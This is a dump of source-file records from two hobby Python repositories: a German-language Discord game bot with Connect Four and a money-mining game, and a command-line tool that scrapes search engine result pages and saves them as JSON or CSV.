embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.gamechannel.send(embed=embed, delete_after=6)\n\n self.turnevent.set()\n return\n\n async def send_gamefield(self):\n # ggf. altes Spielfeld löschen:\n if self.message:\n embed = discord.Embed(title=\"Euer Satz:\", description=self.sentence + \".\", color=0x58ff46)\n embed.set_author(name=\"OneWordChallange\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.add_field(name=\"Nächster Spieler:\",\n value=self.players[self.nextplayer].name,\n inline=True)\n await self.message.edit(embed=embed)\n return\n embed = discord.Embed(title=\"Euer Satz:\", description=self.sentence + \".\", color=0x58ff46)\n embed.set_author(name=\"OneWordChallange\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.add_field(name=\"Nächster Spieler:\",\n value=self.players[self.nextplayer].name,\n inline=True)\n self.message = await self.gamechannel.send(embed=embed)"
},
{
"alpha_fraction": 0.6264501214027405,
"alphanum_fraction": 0.6287702918052673,
"avg_line_length": 20.5,
"blob_id": "82532e5a1c12b2976855e1e1849653b8707ae8f8",
"content_id": "391c2dce266ba84013eae10a5232ed032b2dab58",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 431,
"license_type": "no_license",
"max_line_length": 43,
"num_lines": 20,
"path": "/src/GameAPI/PlayerDataApi/FileManager.py",
"repo_name": "PlaceblockHD/pd_gameworld",
"src_encoding": "UTF-8",
"text": "import json\nimport os.path as path\n\nfile_path = \"../resources/player_data.json\"\n\ndata = {}\nif path.isfile(file_path):\n with open(file_path, \"r\") as fp:\n data = json.load(fp)\n\ndef getuser(user_id):\n return data.get(str(user_id), {})\n\ndef getuserlist():\n return data.keys()\n\ndef setuser(user_id, userdata):\n data[str(user_id)] = userdata\n with open(file_path, \"w\") as fp:\n json.dump(data, fp, indent=4)\n\n"
},
{
"alpha_fraction": 0.5076701641082764,
"alphanum_fraction": 0.5581828951835632,
"avg_line_length": 46.96341323852539,
"blob_id": "78d38c266a12410e7743e70197360bebdb0a6744",
"content_id": "77d5a58b4c16ea7066630745fb9d5644ae4a404d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 11851,
"license_type": "no_license",
"max_line_length": 168,
"num_lines": 246,
"path": "/src/connectfour/Gamelogic.py",
"repo_name": "PlaceblockHD/pd_gameworld",
"src_encoding": "UTF-8",
"text": "import asyncio\nimport io\nimport logging\nfrom itertools import chain\n\nimport numpy as np\nfrom parse import parse\nfrom PIL import Image\n\nfrom GameAPI.Book import Book\nfrom GameAPI.PlayerDataApi import Utils\nfrom discord.ext import commands\nimport discord\n\nfrom GameAPI.user_extension import add_xp, add_to_stats, deposit_money\n\nchannel_prefix = \"🔴🔵viergewinnt-\"\n\n\nclass GameControl():\n def __init__(self, queue):\n self.queue = queue\n # check_for_gamestart action in der queue registrieren:\n self.queue.on_queue_change = self.check_for_gamestart\n\n # Spiel erzeugen wenn genug Spieler in der Queue:\n def check_for_gamestart(self):\n if self.queue.len() >= 2:\n # ctx objekte aus der queue holen:\n player_contexts = [self.queue.pop(), self.queue.pop()]\n # Das eigentliche Spiel mit zwei Spielern starten und registrieren:\n Game(player_contexts, self.queue)\n\n\n#######################################################################################################\n\nclass Game(commands.Cog):\n def __init__(self, contexts, queue):\n self.players = [ctx.author for ctx in contexts] # Extract Players\n self.bot = contexts[0].bot\n self.guild = contexts[0].guild\n self.joinchannel = contexts[0].channel\n \n self.queue = queue # queue wird gebraucht um Spieler nach Ende zu \"releasen\"\n\n self.gamechannel = None # Wird erst in prepare_game() erzeugt!\n self.gamefield = None\n self.gamefield_message = None\n\n self.row_count = 6\n self.column_count = 7\n self.nextplayer = 1\n self.emojis = {\"1️⃣\": 0, '2️⃣': 1, '3️⃣': 2, '4️⃣': 3, '5️⃣': 4, '6️⃣': 5, \"7️⃣\": 6}\n self.turn_lock = asyncio.Lock() # Mutex für mehrfach ausgeführte reaction adds\n\n self.running = True\n self.turnevent = asyncio.Event()\n self.bot.loop.create_task(self.gametask())\n\n async def gametask(self):\n # Suche ersten freien Channelslot\n cparse = lambda channel: parse( channel_prefix+\"{:d}\", channel.name ) # Parsefunktion für die Channelnames\n snums = sorted( [ cparse(c)[0] for c in self.bot.get_all_channels() if cparse(c) ] ) # extract\n next_channel = next( (x[0] for x in enumerate(snums) if x[0]+1 != x[1]), len(snums) ) + 1 #search gap\n # Spielchannel erzeugen:\n self.gamechannel = await self.guild.create_text_channel(\n name=channel_prefix + str(next_channel),\n category=self.bot.get_channel(742406887567392878))\n\n # Nachricht im Joinchannel:\n embed = discord.Embed(title=\"Spiel startet!\",\n description=\"Es wird gespielt in: **\" + self.gamechannel.name + \"** !\",\n color=0x2dff32)\n embed.set_thumbnail(\n url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_author(name=\"VierGewinnt\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.add_field(name=\"Spieler\",\n value=f\"\"\"{self.players[0].name} vs. {self.players[1].name}\"\"\",\n inline=True)\n embed.set_footer(text=\"Viel Spaß!\")\n await self.joinchannel.send(embed=embed, delete_after=10)\n\n embed = discord.Embed(title=\"Also, \" + self.players[self.nextplayer].display_name + \" bitte beginne!\",description=\"\",color=0x58ff46)\n embed.set_author(name=\"VierGewinnt\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.gamechannel.send(embed=embed, delete_after=30)\n\n # Spielfeld erzeugen:\n self.gamefield = np.zeros((6, 7))\n\n # Spielfeld initial einmal ausgeben:\n async with self.turn_lock:\n await self.send_gamefield()\n\n # COG aktivieren:\n self.bot.add_cog(self)\n\n # Wir warten auf Spielzüge:\n while self.running:\n try:\n await asyncio.wait_for( self.turnevent.wait(), timeout=300 )\n except asyncio.TimeoutError:\n logging.info( \"Timeout: Keine Spielzüge mehr, Spiel wird beendet\" )\n embed = discord.Embed(title=\"Game gestoppt:\", description=\"(Timeout)\", color=0x58ff46)\n embed.set_author(name=\"Galgenmännchen\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.gamechannel.send(embed=embed)\n break;\n\n # Spiel beenden:\n await asyncio.sleep(5)\n await self.gamechannel.delete()\n for player in self.players:\n add_to_stats(player, \"VierGewinnt\", 0, 1, 0)\n add_xp(player, 5)\n self.queue.release_player(player.id)\n self.bot.remove_cog(self)\n\n\n # Nachrichten im Spielchannel werden gleich wieder gelöscht:\n @commands.Cog.listener()\n async def on_message(self, message: discord.Message):\n if (self.gamechannel == message.channel # Unser Channel?\n and self.bot.user != message.author): # Nachricht nicht vom Bot?\n try:\n await message.delete() # Dann löschen wir die Nachricht\n except:\n pass\n\n # Action bei drücken eines Reaction-Buttons: (Spielzug)\n @commands.Cog.listener()\n async def on_reaction_add(self, payload: discord.Reaction, member):\n if payload.message.id == self.gamefield_message.id and member.id is not self.bot.user.id:\n try: # Die Nachricht könnte zwischenzeitlich gelöscht worden sein\n await payload.message.remove_reaction(payload.emoji, member) # remove add\n except:\n pass\n if (payload.message.id == self.gamefield_message.id # Ist das add-event für uns?\n and member.id == self.players[self.nextplayer].id # Der richtige Spieler am Zug?\n and payload.emoji in self.emojis):\n async with self.turn_lock:\n col = self.emojis[payload.emoji]\n # Ist der Zug möglich?\n if self.is_location_valid(col):\n row = self.get_next_row(col)\n self.insert_selected(row, col, self.nextplayer)\n # Neues spielfeld ausgeben:\n await self.send_gamefield()\n # Hat jemand gewonnen?\n if self.check_state(self.nextplayer):\n embed = discord.Embed(\n title=\":tada: \" + self.players[self.nextplayer].name + \" hat gewonnen :tada:\",\n colour=discord.Colour.green())\n await self.gamechannel.send(embed=embed, delete_after=10)\n # Statistik#\n add_xp(self.players[self.nextplayer], 25)\n add_to_stats(self.players[self.nextplayer], \"VierGewinnt\", 1, 0, 0)\n deposit_money(self.players[self.nextplayer], 20)\n # Selbstzerstörung:\n self.running = False\n elif not 0 in chain(*self.gamefield):\n embed = discord.Embed(\n title=\":tada: Unentschieden :tada:\",\n colour=discord.Colour.green())\n for player in self.players:\n add_to_stats(player, \"TicTacToe\", 0, 0, 1)\n await self.gamechannel.send(embed=embed, delete_after=10)\n # Selbstzerstörung:\n self.running = False\n else:\n self.nextplayer = (self.nextplayer + 1) % 2\n self.turnevent.set() # Watchdog trigger\n\n def insert_selected(self, row, col, playerindex):\n self.gamefield[row][col] = playerindex + 1\n\n def is_location_valid(self, col):\n return self.gamefield[self.row_count - 1][col] == 0\n\n def get_next_row(self, col):\n for r in range(self.row_count):\n if self.gamefield[r][col] == 0:\n return r\n\n def check_state(self, piece):\n piece += 1\n for c in range(self.column_count):\n for r in range(self.row_count):\n try:\n if ((self.gamefield[r][c] == piece and self.gamefield[r][c + 1] == piece and self.gamefield[r][\n c + 2] == piece and\n self.gamefield[r][c + 3] == piece) or\n (self.gamefield[r][c] == piece and self.gamefield[r + 1][c] == piece and\n self.gamefield[r + 2][c] == piece and\n self.gamefield[r + 3][c] == piece) or\n (self.gamefield[r][c] == piece and self.gamefield[r + 1][c + 1] == piece and\n self.gamefield[r + 2][\n c + 2] == piece and self.gamefield[r + 3][c + 3] == piece) or\n (self.gamefield[r][c] == piece and self.gamefield[r - 1][c + 1] == piece and\n self.gamefield[r - 2][\n c + 2] == piece and self.gamefield[r - 3][c + 3] == piece)):\n return True\n except:\n pass\n return False\n\n async def send_gamefield(self):\n # ggf. altes Spielfeld löschen:\n if self.gamefield_message:\n await self.gamefield_message.delete()\n # Neue Message erzeugen:\n self.gamefield_message = await self.gamechannel.send(file=self.build_board(self.gamefield))\n # Reaction Buttons hinzufügen:\n for tag in self.emojis.keys():\n await self.gamefield_message.add_reaction(tag)\n\n def build_board(self, gamefield: np.matrix):\n field_img: Image.Image = Image.open(\"../resources/connectfour/field.png\")\n o = Image.open(\"../resources/connectfour/o_universe.png\")\n X = Image.open(\"../resources/connectfour/x_universe.png\")\n fields = [[(34, 34), (184, 34), (334, 34), (484, 34), (634, 34), (784, 34), (934, 34)],\n [(34, 184), (184, 184), (334, 184), (484, 184), (634, 184), (784, 184), (934, 184)],\n [(34, 334), (184, 334), (334, 334), (484, 334), (634, 334), (784, 334), (934, 334)],\n [(34, 484), (184, 484), (334, 484), (484, 484), (634, 484), (784, 484), (934, 484)],\n [(34, 634), (184, 634), (334, 634), (484, 634), (634, 634), (784, 634), (934, 634)],\n [(34, 784), (184, 784), (334, 784), (484, 784), (634, 784), (784, 784), (934, 784)]]\n fields.reverse()\n for i in range(len(gamefield)):\n for x in range(len(gamefield[i])):\n if gamefield[i][x] == 1:\n field_img.paste(X, fields[i][x], X)\n if gamefield[i][x] == 2:\n field_img.paste(o, fields[i][x], o)\n arr = io.BytesIO()\n field_img.save(arr, format=\"png\")\n basewidth = 250\n wpercent = (basewidth / float(field_img.size[0]))\n hsize = int((float(field_img.size[1]) * float(wpercent)))\n field_img = field_img.resize((basewidth, hsize), Image.ANTIALIAS)\n arr = io.BytesIO()\n field_img.save(arr, format=\"png\")\n arr.seek(0)\n file = discord.File(arr)\n file.filename = \"field.png\"\n return file\n"
},
{
"alpha_fraction": 0.5452407598495483,
"alphanum_fraction": 0.6262038350105286,
"avg_line_length": 52.746986389160156,
"blob_id": "330e545071272e30a358c459c80266901210be10",
"content_id": "cfad3c66ed72abd1810896f38afe7a3ae8208442",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 8932,
"license_type": "no_license",
"max_line_length": 190,
"num_lines": 166,
"path": "/src/MoneyMiner/miner_commands.py",
"repo_name": "PlaceblockHD/pd_gameworld",
"src_encoding": "UTF-8",
"text": "import discord\nimport asyncio\nfrom discord.ext import commands\n\nfrom GameAPI.PlayerDataApi import Utils\n\nfrom GameAPI.user_extension import *\n\n\n\nclass MineCommands(commands.Cog):\n\n def __init__(self, client):\n self.client = client\n self.gamechannels = [772515089181310977, 772543056640868404, 772543093714714666, 773486403073736735, 773486430047305728]\n self.gamemessages = {}\n asyncio.create_task(self.timer())\n\n @commands.command(aliases=['bp','rucksack'])\n async def backpack(self, ctx: commands.Context, *args):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n if not ctx.channel.id in self.gamechannels:\n return\n backpack_fill = get_backpack_money(ctx.author)\n max_backpack_fill = get_max_backpack(ctx.author)\n backpack_level = get_backpack_level(ctx.author)\n\n next_level_cost = 5 * (backpack_level+1) ** 2 + 15 * (backpack_level+1)\n\n embed = discord.Embed(title=\"Rucksack ( \" + ctx.author.name +\" )\",description=\"[ \" + str(backpack_fill) + \" / \" + str(max_backpack_fill) + \" ] \",color=0x00FF00)\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_author(name=\"MoneyMiner\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.add_field(name=\"RuckSack Level:\", value=str(backpack_level), inline=False)\n embed.add_field(name=\"Upgrade kostet:\", value=str(next_level_cost), inline=False)\n if ctx.author in self.gamemessages:\n try:\n await self.gamemessages[ctx.author].delete()\n except:\n pass\n self.gamemessages[ctx.author] = await ctx.channel.send(embed=embed,delete_after=120)\n else:\n self.gamemessages[ctx.author] = await ctx.channel.send(embed=embed,delete_after=120)\n return\n\n @commands.command(aliases=['pa','spitzhacke'])\n async def pickaxe(self, ctx: commands.Context, *args):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n if not ctx.channel.id in self.gamechannels:\n return\n pickaxe_level = get_pickaxe_level(ctx.author)\n\n next_level_cost = 5 * (pickaxe_level+1) ** 2 + 15 * (pickaxe_level+1)\n\n embed = discord.Embed(title=\"Spitzhacke ( \" + ctx.author.name +\" )\",description=\"Spitzhackeninformationen\",color=0x00FF00)\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_author(name=\"MoneyMiner\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.add_field(name=\"Spitzhacken Level:\", value=str(pickaxe_level), inline=False)\n embed.add_field(name=\"Money pro Minute:\", value=str(1 * (pickaxe_level/4)), inline=False)\n embed.add_field(name=\"Upgrade kostet:\", value=str(next_level_cost), inline=False)\n if ctx.author in self.gamemessages:\n try:\n await self.gamemessages[ctx.author].delete()\n except:\n pass\n self.gamemessages[ctx.author] = await ctx.channel.send(embed=embed,delete_after=120)\n else:\n self.gamemessages[ctx.author] = await ctx.channel.send(embed=embed,delete_after=120)\n return\n\n @commands.command()\n async def upgrade(self, ctx: commands.Context, *args):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n if not len(args) == 1:\n return\n if not ctx.channel.id in self.gamechannels:\n return\n pickaxe_aliases = [\"pickaxe\", \"pa\", \"spitzhacke\"]\n backpack_aliases = [\"backpack\", \"bp\", \"rucksack\"]\n\n if args[0] in pickaxe_aliases:\n pickaxe_level = get_pickaxe_level(ctx.author)\n needed_money = 5*pickaxe_level**2 + 15*pickaxe_level\n player_balance = get_money(ctx.author)\n if has_money(ctx.author, needed_money):\n withdraw_money(ctx.author, needed_money)\n newlevel = levelup_pickaxe(ctx.author, 1)\n embed = discord.Embed(title=\"Upgegradet\", description=\"Spitzhacke für \"+ str(needed_money) +\" auf Level \" + str(newlevel) + \" geupgradet!\", color=0x00FF00)\n embed.set_author(name=\"MoneyMiner\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(\n url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=6)\n else:\n embed = discord.Embed(title=\"Achtung\", description=\"Du brauchst min. \" + str(needed_money) + \" zum Upgraden, hast aber nur \"+str(round(player_balance,2))+\"!\", color=0xFF0000)\n embed.set_author(name=\"MoneyMiner\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(\n url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=6)\n\n\n elif args[0] in backpack_aliases:\n backpack_level = get_backpack_level(ctx.author)\n needed_money = 5*backpack_level**2 + 15*backpack_level\n player_balance = get_money(ctx.author)\n if has_money(ctx.author, needed_money):\n withdraw_money(ctx.author, needed_money)\n newlevel = levelup_backpack(ctx.author, 1)\n embed = discord.Embed(title=\"Upgegradet\", description=\"Rucksack für \"+ str(needed_money) +\" auf Level \" + str(newlevel) + \" geupgradet!\", color=0x00FF00)\n embed.set_author(name=\"MoneyMiner\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(\n url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=6)\n else:\n embed = discord.Embed(title=\"Achtung\", description=\"Du brauchst min. \" + str(needed_money) + \" zum Upgraden, hast aber nur \"+str(round(player_balance,2))+\"!\", color=0xFF0000)\n embed.set_author(name=\"MoneyMiner\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(\n url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=6)\n\n else:\n return\n\n @commands.command()\n async def claim(self, ctx: commands.Context, *args):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n if not ctx.channel.id in self.gamechannels:\n return\n backpack_money = get_backpack_money(ctx.author)\n deposit_money(ctx.author, backpack_money)\n backpack_set_money(ctx.author, 0)\n embed = discord.Embed(title=\"Claimed!\", description=ctx.author.name + \" hat \" + str(backpack_money) + \" aus seinem Rucksack geholt!\", color=0x58ff46)\n embed.set_author(name=\"MoneyMiner\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(\n url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=6)\n\n async def timer(self):\n while True:\n members = self.client.guilds[0].members\n for member in members:\n if member.status == discord.Status.online:\n pickaxe_level = get_pickaxe_level(member)\n money_to_earn = 1 * (pickaxe_level/4)\n backpack_fill = get_backpack_money(member)\n max_backpack_fill = get_max_backpack(member)\n if (backpack_fill + money_to_earn) > max_backpack_fill:\n backpack_set_money(member, max_backpack_fill)\n else:\n backpack_set_money(member, backpack_fill + money_to_earn)\n await asyncio.sleep(60)\n\n\n\n\n\n\n\n\n"
}
] | 16 |
TimBerk/searcher | https://github.com/TimBerk/searcher | e8cae94536a8bf2d6a012d03fd59c57a41f697c5 | cab0bd01a8b2ed01079089cf0b64415d5d11350b | a37a351a1a0a4697ee4b77f812ee23a1943741ec | refs/heads/master | 2021-03-16T03:03:33.957639 | 2020-03-13T05:04:12 | 2020-03-13T05:04:12 | 246,899,222 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7173144817352295,
"alphanum_fraction": 0.7208480834960938,
"avg_line_length": 34.375,
"blob_id": "3527724a33b19b6702d4596c4d7bfd7e83653ae6",
"content_id": "12857a0d983b49dc73c7d86aeb3df08cec0189f6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 283,
"license_type": "no_license",
"max_line_length": 90,
"num_lines": 8,
"path": "/searcher/core.py",
"repo_name": "TimBerk/searcher",
"src_encoding": "UTF-8",
"text": "# -*- coding:utf-8 -*-\nfrom searcher.engines.main import search_data\n\n\ndef parse(request, searcher, count, recurse, recurse_deep, format_result):\n searcher = search_data(searcher, request, count, recurse, recurse_deep, format_result)\n result = searcher.run()\n return result\n"
},
{
"alpha_fraction": 0.8064516186714172,
"alphanum_fraction": 0.8064516186714172,
"avg_line_length": 30,
"blob_id": "3344512d53f8a8d72404ea15a6b6938b1256738f",
"content_id": "928d40ad001558e33d0786a1af61ade3c098dceb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 62,
"license_type": "no_license",
"max_line_length": 37,
"num_lines": 2,
"path": "/searcher/__init__.py",
"repo_name": "TimBerk/searcher",
"src_encoding": "UTF-8",
"text": "from .core import parse\nfrom .engines.main import search_data\n"
},
{
"alpha_fraction": 0.6838521361351013,
"alphanum_fraction": 0.7120622396469116,
"avg_line_length": 27.55555534362793,
"blob_id": "e813ca4eecb09de171e6268b98852403ef1a1b34",
"content_id": "edd61f9fed5fce43542538cbb5dbedf0eda59eb7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 1155,
"license_type": "no_license",
"max_line_length": 120,
"num_lines": 36,
"path": "/README.md",
"repo_name": "TimBerk/searcher",
"src_encoding": "UTF-8",
"text": "# Search-program\n\nConsole search-program\n\n## Installation\n\n```console\ngit clone https://github.com/TimBerk/searcher\npython install setup.py\ncd dist\npip install searcher-0.1-py3-none-any.whl\n```\n\n## Usage\n\n```console\n# Help of the programm\nsearcher -h\nusage: searcher [-h] [-r [RECURSE [RECURSE ...]]] [-d RECURSE_DEEP]\n [-f FORMAT]\n request {google,rambler,bing,yahoo} count\n\n# Search first 5 phrase \"IT 2020\" in Google.com\nsearcher \"IT 2020\" google 5\nIT-Events: https://it-events.com/\nКем работать в IT в 2020 году — список перспективных ...: https://rb.ru/opinion/kem-rabotat-v-it/\nгород IT: увидимся осенью 2020 года!: https://gorod.it/\nМеждународные выставки ИТ/IT digital электронной ...: https://worldexpo.pro/sector/it-it-digital-elektronnaya-kommerciya\nИТ конференции и мероприятия ИТ в 2020 году - ICT2go: https://ict2go.ru/events/\n```\n\nYou can use 4 different search site as Google, Rambler, Bing and Yahoo. \nAlso you can output searched data in 3 way:\n- console\n- json file\n- csv file\n"
},
{
"alpha_fraction": 0.617691159248352,
"alphanum_fraction": 0.6251873970031738,
"avg_line_length": 26.79166603088379,
"blob_id": "45ba3eb9acd0b5dc9b08c4f51e9ddc00911ca58c",
"content_id": "565c1ac91049218ca75ff79130e385d212133d9a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 667,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 24,
"path": "/setup.py",
"repo_name": "TimBerk/searcher",
"src_encoding": "UTF-8",
"text": "import os\nfrom setuptools import setup, find_packages\n\nos.chdir(os.path.normpath(os.path.join(os.path.abspath(__file__), os.pardir)))\n\nsetup(\n name='searcher',\n version='0.1',\n packages=find_packages(),\n include_package_data=True,\n license='GNU General Public License v3.0',\n description='Search program use several search system',\n url='https://github.com/TimBerk/searcher',\n author='Tatiana Lysak',\n author_email='[email protected]',\n keywords=['python', 'parse', 'json', 'csv'],\n classifiers=[],\n entry_points={\n 'console_scripts': [\n 'searcher = searcher.cli:main',\n ]\n },\n install_requires=['requests', 'bs4']\n)\n"
},
{
"alpha_fraction": 0.5422859787940979,
"alphanum_fraction": 0.558175265789032,
"avg_line_length": 27.691177368164062,
"blob_id": "8fc37e04d22be917de1ae21c0800951fcc2fac09",
"content_id": "3097423c8155a2b58e4c6d32a7dd87ad17142875",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1951,
"license_type": "no_license",
"max_line_length": 97,
"num_lines": 68,
"path": "/searcher/engines/engine_base.py",
"repo_name": "TimBerk/searcher",
"src_encoding": "UTF-8",
"text": "# -*- coding:utf-8 -*-\nfrom abc import ABC\nfrom json import dump\nfrom csv import DictWriter\nimport requests\n\nUSER_AGENT = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0\"\n\n\nclass BaseSearcher(ABC):\n\n def __init__(self, request, count, recurse, recurse_deep, format_result):\n self.request = request\n self.count = count\n self.recurse = recurse\n self.recurse_deep = recurse_deep\n self.format_result = format_result\n self.results = []\n self.current_item = 0\n self.url = ''\n self.text = ''\n\n def build_url(self, start):\n pass\n\n def get_page(self):\n headers = {\"user-agent\": USER_AGENT}\n response = requests.get(self.url, headers=headers, timeout=10)\n if response.status_code == 200:\n self.text = response.text\n\n def parse_page(self):\n pass\n\n def print_result(self):\n if self.format_result == 'json':\n self.to_json()\n return 'File json generate'\n\n if self.format_result == 'csv':\n self.to_csv()\n return 'File csv generate'\n\n return self.to_console()\n\n def to_console(self):\n console = [f\"{data.get('Name')}: {data.get('Link')}\" for data in self.results]\n return \"\\n\".join(console)\n\n def to_json(self):\n try:\n with open('result.json', 'w', encoding='utf-8') as file:\n dump(self.results, file, indent=4, ensure_ascii=False)\n except IOError:\n print(\"I/O error\")\n\n def to_csv(self):\n try:\n with open('result.csv', 'w', encoding='utf-8', newline='') as file:\n writer = DictWriter(file, fieldnames=self.results[0].keys())\n writer.writeheader()\n for data in self.results:\n writer.writerow(data)\n except IOError:\n print(\"I/O error\")\n\n def run(self):\n pass\n"
},
{
"alpha_fraction": 0.691919207572937,
"alphanum_fraction": 0.6931818127632141,
"avg_line_length": 30.68000030517578,
"blob_id": "c0a70b4c7ce8820242a50ecb6f68cb408efe4342",
"content_id": "652955a5784d9c0306bbade6f0c820f819b7671d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 792,
"license_type": "no_license",
"max_line_length": 87,
"num_lines": 25,
"path": "/searcher/engines/main.py",
"repo_name": "TimBerk/searcher",
"src_encoding": "UTF-8",
"text": "# -*- coding:utf-8 -*-\n\nfrom searcher.engines.engine_google import Google\nfrom searcher.engines.engine_rambler import Rambler\nfrom searcher.engines.engine_bing import Bing\nfrom searcher.engines.engine_yahoo import Yahoo\nfrom searcher.engines.engine_yandex import Yandex\nfrom searcher.engines.engine_mail import Mail\n\n\ndef search_data(searcher, request, count, recurse, recurse_deep, format_result):\n \"\"\"Search data into different search engine\"\"\"\n searcher_map = {\n 'google': Google,\n 'rambler': Rambler,\n 'bing': Bing,\n 'yahoo': Yahoo,\n # 'yandex': Yandex,\n # 'mail': Mail,\n }\n\n if searcher not in searcher_map:\n return \"Incorrect searcher\"\n\n return searcher_map[searcher](request, count, recurse, recurse_deep, format_result)\n"
},
{
"alpha_fraction": 0.5552584528923035,
"alphanum_fraction": 0.5623885989189148,
"avg_line_length": 33,
"blob_id": "60b86710f3f1cb26763c48fc73af2f5f902fbdb1",
"content_id": "4565ce2a9148b47b5b053872d4d24c03c7b3d91d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1122,
"license_type": "no_license",
"max_line_length": 82,
"num_lines": 33,
"path": "/searcher/engines/engine_yandex.py",
"repo_name": "TimBerk/searcher",
"src_encoding": "UTF-8",
"text": "# -*- coding:utf-8 -*-\nfrom urllib.parse import quote_plus\nfrom bs4 import BeautifulSoup\n\nfrom searcher.engines.engine_base import BaseSearcher\n\n\nclass Yandex(BaseSearcher):\n\n def build_url(self, start):\n phrase = quote_plus(self.request)\n self.url = f\"https://yandex.ru/search?text={phrase}&p={str(start)}\"\n\n def parse_page(self):\n soup = BeautifulSoup(self.text, 'lxml')\n print(soup.findAll('li', class_=\"serp-item\"))\n for block in soup.findAll('li', class_=\"serp-item\"):\n if self.current_item < self.count:\n link = block.a.get('href')\n link_name = block.find(\"div\", {\"class\": 'organic__url-text'}).text\n self.results.append({'Name': link_name, 'Link': link})\n self.current_item += 1\n\n def run(self):\n while self.current_item < self.count:\n if self.current_item < 11:\n start = 1\n else:\n start = self.current_item // 10\n self.build_url(start)\n self.get_page()\n self.parse_page()\n return self.print_result()\n"
},
{
"alpha_fraction": 0.5474178194999695,
"alphanum_fraction": 0.5586854219436646,
"avg_line_length": 32.28125,
"blob_id": "c7f310cfc35c8d7cee72fc8528e87b3b8480b51b",
"content_id": "51d60ba965252cd94a7edd7e2be22d5220f6d839",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1065,
"license_type": "no_license",
"max_line_length": 79,
"num_lines": 32,
"path": "/searcher/engines/engine_mail.py",
"repo_name": "TimBerk/searcher",
"src_encoding": "UTF-8",
